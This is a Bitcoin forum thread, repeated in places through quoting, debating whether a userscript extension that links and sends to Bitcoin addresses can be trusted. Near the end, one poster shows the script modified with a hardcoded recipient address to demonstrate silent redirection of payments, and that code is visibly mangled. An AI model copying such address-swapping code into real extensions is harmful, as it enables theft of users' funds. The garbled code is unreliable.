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Topic: Poll: What is your favourite bitcoin browser extension? (Read 5393 times)

hero member
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Because it's the same paranoia that keeps me from installing nonsense program/games/drivers on my PC :-)  It's nothing against you personally, I just don't want to see all the posts about people losing bitcoins because they installed a hacked version of your script.

I don't think i ever said it's mine!  Shocked
sr. member
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Yeah, he's a total fucking tool.  Like I want some amateur Javascript shit running in my browser all the time connecting to my bitcoin server.  OH WOW!  IT SAVES ME SO MUCH TIME I NO LONGER HAVE TO HIGHLIGHT, HIT CONTROL C AND CONTROL V!!!

I wonder why you are so biased toward a open source javascript applet which, if you don't configure your client to accept RPC, can be only used to highlight and link BTC addresses, while every single closed source program/game/driver with similar malicious code can literally take its time to search and upload all the wallets from the PC you are using and popup a huge laughing dildo when it's done.

Because it's the same paranoia that keeps me from installing nonsense program/games/drivers on my PC :-)  It's nothing against you personally, I just don't want to see all the posts about people losing bitcoins because they installed a hacked version of your script.
hero member
Activity: 797
Merit: 1017
Yeah, he's a total fucking tool.  Like I want some amateur Javascript shit running in my browser all the time connecting to my bitcoin server.  OH WOW!  IT SAVES ME SO MUCH TIME I NO LONGER HAVE TO HIGHLIGHT, HIT CONTROL C AND CONTROL V!!!

I wonder why you are so biased toward a open source javascript applet which, if you don't configure your client to accept RPC, can be only used to highlight and link BTC addresses, while every single closed source program/game/driver with similar malicious code can literally take its time to search and upload all the wallets from the PC you are using and popup a huge laughing dildo when it's done.
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Merit: 10
You understand it is because of the user who released this already has a lot of negativity going his way?

Hell, people on Reddit were onto him early on because of this https://forum.bitcoin.org/index.php?topic=21527.0 lol
I understand that, but:

1. It is my opinion that a lot of the negativity is unjustified.
2. This stuff isn't relevant to the quality of his code.

Yeah, he's a total fucking tool.  Like I want some amateur Javascript shit running in my browser all the time connecting to my bitcoin server.  OH WOW!  IT SAVES ME SO MUCH TIME I NO LONGER HAVE TO HIGHLIGHT, HIT CONTROL C AND CONTROL V!!!
Yeah, I'd suggest not bashing something you clearly haven't tried. Everything feels more convenient with Bitcoin Tool installed. I don't use the Send BTC feature, but simply clicking an address to view it in Block Explorer is really convenient, and being able to select it with the click of a button. And yes, one single click is actually a lot faster than highlight, CTRL + C, CTRL + V, and also much more reliable, since when you do it manually you may accidentally highlight additional characters.

Just try it out. Who cares who made it? A good extension is a good extension.
sr. member
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Merit: 252
yet people are treating this specific browser extension like the plague.

You understand it is because of the user who released this already has a lot of negativity going his way?

Hell, people on Reddit were onto him early on because of this https://forum.bitcoin.org/index.php?topic=21527.0 lol

Yeah, he's a total fucking tool.  Like I want some amateur Javascript shit running in my browser all the time connecting to my bitcoin server.  OH WOW!  IT SAVES ME SO MUCH TIME I NO LONGER HAVE TO HIGHLIGHT, HIT CONTROL C AND CONTROL V!!!
hero member
Activity: 630
Merit: 500
Posts: 69
yet people are treating this specific browser extension like the plague.

You understand it is because of the user who released this already has a lot of negativity going his way?

Hell, people on Reddit were onto him early on because of this https://forum.bitcoin.org/index.php?topic=21527.0 lol
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This discussion are pretty much useless, because you always have to trust that the things you download isn't malicious. The only thing you can do to make sure it's safe is to check the code, or send a small donation to someone (like 0.000001BTC) after each update and confirm in the client that it goes to the address you specified and nothing else.
This is exactly my point. Everything can be malicious, and you can even easily check beforehand whether it is malicious or not. Anything you download could steal your wallet or send all your bitcoins away, yet people are treating this specific browser extension like the plague.
full member
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This discussion are pretty much useless, because you always have to trust that the things you download isn't malicious. The only thing you can do to make sure it's safe is to check the code, or send a small donation to someone (like 0.000001BTC) after each update and confirm in the client that it goes to the address you specified and nothing else.

My addon is also open source and the code is viewable on both github (https://github.com/galaxyAbstractor/FireCoin/blob/master/chrome/content/firecoin/firecoinOverlay.js) and on AMO (Firefox addons site). (Yes, I do have an option to send 5% to me, but it is disabled by default and will only be sent if the user checks the checkbox. Also, I don't believe you can send btc to someone by mistake which was suggested by someone over me, as you have to fill in the amount to send, and the dialog states which bitcoin address it's going to)
hero member
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There's a difference between being careful and spreading FUD.

You can't really think everyone checks code for everything they download, especially updates?

Look, people get what they deserve if they don't take all precautions possible, but be realistic.
member
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it's money.

there's a lot of Bitcoiners who are learning the hard way to be careful with it.
There's a difference between being careful and spreading FUD.
full member
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Merit: 100
"O HAI GAIS, LET'S TELL PEOPLE NOT TO USE AN OPEN SOURCE BROWSER EXTENSION BECAUSE THE CREATOR MIGHT, JUST MIGHT, ADD A LINE OF CODE (TO HIS OPEN SOURCE CODE) THAT SENDS YOUR BITCOINS TO ANOTHER ADDRESS. LOLOLOLOLOL, I TELL YA, IT'LL BE AWESOME." -- bitcoinminer

Seriously, it's a tiny freakin' script that can't automatically update itself. If you're that worried, it's OPEN SOURCE! You can check the code yourself before downloading an update, or simply NOT DOWNLOAD IT.

Jesus christ, people really do take every opportunity they can to bash things, don't they?

it's money.

there's a lot of Bitcoiners who are learning the hard way to be careful with it.
member
Activity: 266
Merit: 10
"O HAI GAIS, LET'S TELL PEOPLE NOT TO USE AN OPEN SOURCE BROWSER EXTENSION BECAUSE THE CREATOR MIGHT, JUST MIGHT, ADD A LINE OF CODE (TO HIS OPEN SOURCE CODE) THAT SENDS YOUR BITCOINS TO ANOTHER ADDRESS. LOLOLOLOLOL, I TELL YA, IT'LL BE AWESOME." -- bitcoinminer

Seriously, it's a tiny freakin' script that can't automatically update itself. If you're that worried, it's OPEN SOURCE! You can check the code yourself before downloading an update, or simply NOT DOWNLOAD IT.

Jesus christ, people really do take every opportunity they can to bash things, don't they?
sr. member
Activity: 462
Merit: 250
Ah, it's unemployed trying to get people to use his tool. (sorry, not THAT tool). I recall all of the friends you made on your other post when you announced everyone's personal net bitcoin worth. Most people would have felt a little ashamed after that.
member
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I love how no one here has any idea what trolling is.
hero member
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Posts: 69
Here I have modified (but not tested the code) above.

I added one line of code, and changed literally one character.  What this code does NOW, is regardless of who's address you highlight, it sends it to a specific BitCoin address I have specified (random one I created).

Granted this guy isn't doing this with the code, but it's too easy to do things like this, or have it slipped into a newer version, or have it inline coded in a forum, etc.

Requoted here for importance if you are only seeing page 2 !
sr. member
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lol awesome that you missed the entire previous post in your rush to perform your trolling Smiley  Good job, Helen Keller!
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Post the source code and I'll have a look through

He linked it in the comment you quoted

Also that was added after the fact... initially it was the bitcoind source code linked there.
That's not possible, since it's in your quote. The quote does not change as the quoted post does.
sr. member
Activity: 322
Merit: 252
Post the source code and I'll have a look through

He linked it in the comment you quoted

Also that was added after the fact... initially it was the bitcoind source code linked there.
sr. member
Activity: 322
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// ==UserScript==
// @name           Bitcoin Tool
// @namespace      Bitcoin Tool
// @description    Bitcoin Tool - recognizes Bitcoin addresses on websites, adds links to the blockexplorer, adds a select button for easier copy-paste, and a "Falkvinge" Send BTC button
// @version        1.1
// @include        *
// ==/UserScript==

text = document.body.innerHTML;
if (text.match(/[^A-Za-z0-9/"]1[A-HJ-NP-Za-km-z1-9]{32,33}[^A-Za-z0-9"]/)) {
document.body.innerHTML = text.replace(/(<[^<]*[^A-Za-z0-9/"])(1[A-HJ-NP-Za-km-z1-9]{32,33})([^A-Za-z0-9?%"]...)/g,function(a,b,c,d){
t = new Array(256);for(j=97;j<=122;++j){t[j]=0;}for(j=65;j<=90;++j){t[j]=0;}for(j=48;j<=57;++j){t[j]=0;}for(j=0;jbc="17t4EgfBBUxQVK6TZJqZc8oMdmxnLELg2o";
sum=0;sum1=0;sum2=0;sum3=0;for(j=97;j<=122;++j){sum+=t[j]*t[j];sum1+=t[j]}for(j=65;j<=90;++j){sum+=t[j]*t[j];sum2+=t[j]}for(j=48;j<=57;++j){sum+=t[j]*t[j];sum3+=t[j]}
return (a.match(/^<(textarea|input|pre|code)/i) || d=="" || sum >= 90 || sum1 <= 2 || sum1 >= 26 || sum2 <= 2 || sum2 >= 26 || sum3 >= 14) ? b+c+d : b+"http://blockexplorer.com/address/"+c+"\">"+c+""
+"+"onclick=\"if(document.createRange){r=document.createRange();previousSibling.focus();r.selectNodeContents(previousSibling);w=window.getSelection();w.addRange(r);}else{r=document.body.createTextRange();r.moveToElementText(previousSibling);r.select();}\" onmouseover=\"this.style.backgroundColor='#eee'\" onMouseOut=\"this.style.backgroundColor='#ddd'\">Select"
+"http://localhost:8330/"+bc+"');\">Send BTC"+d;
});
}

// If you like the tool, donate to 141HiFa6pek3uM32LpRe3gXraETV1fViWC
//
// This is public domain code, free for commercial and non-commercial use.
// If you use some of it, give a link to this script:
// http://userscripts.org/scripts/show/104381


Here I have modified (but not tested the code) above.

I added one line of code, and changed literally one character.  What this code does NOW, is regardless of who's address you highlight, it sends it to a specific BitCoin address I have specified (random one I created).

Granted this guy isn't doing this with the code, but it's too easy to do things like this, or have it slipped into a newer version, or have it inline coded in a forum, etc.
sr. member
Activity: 322
Merit: 252
Post the source code and I'll have a look through

He linked it in the comment you quoted

Hmm.. Well, having a look through, I don't see anything blatantly malicious, but I personally wouldn't run a javascript applet that can automatically connect to my bitcoin server and automatically start sending coins to an address, even if you DO have to confirm it.

Within the next week, guaranteed some loser who installs it will be crying about how he accidentally sent the money he was saving for his Grandma's dentures to the wrong address or some bullshit.

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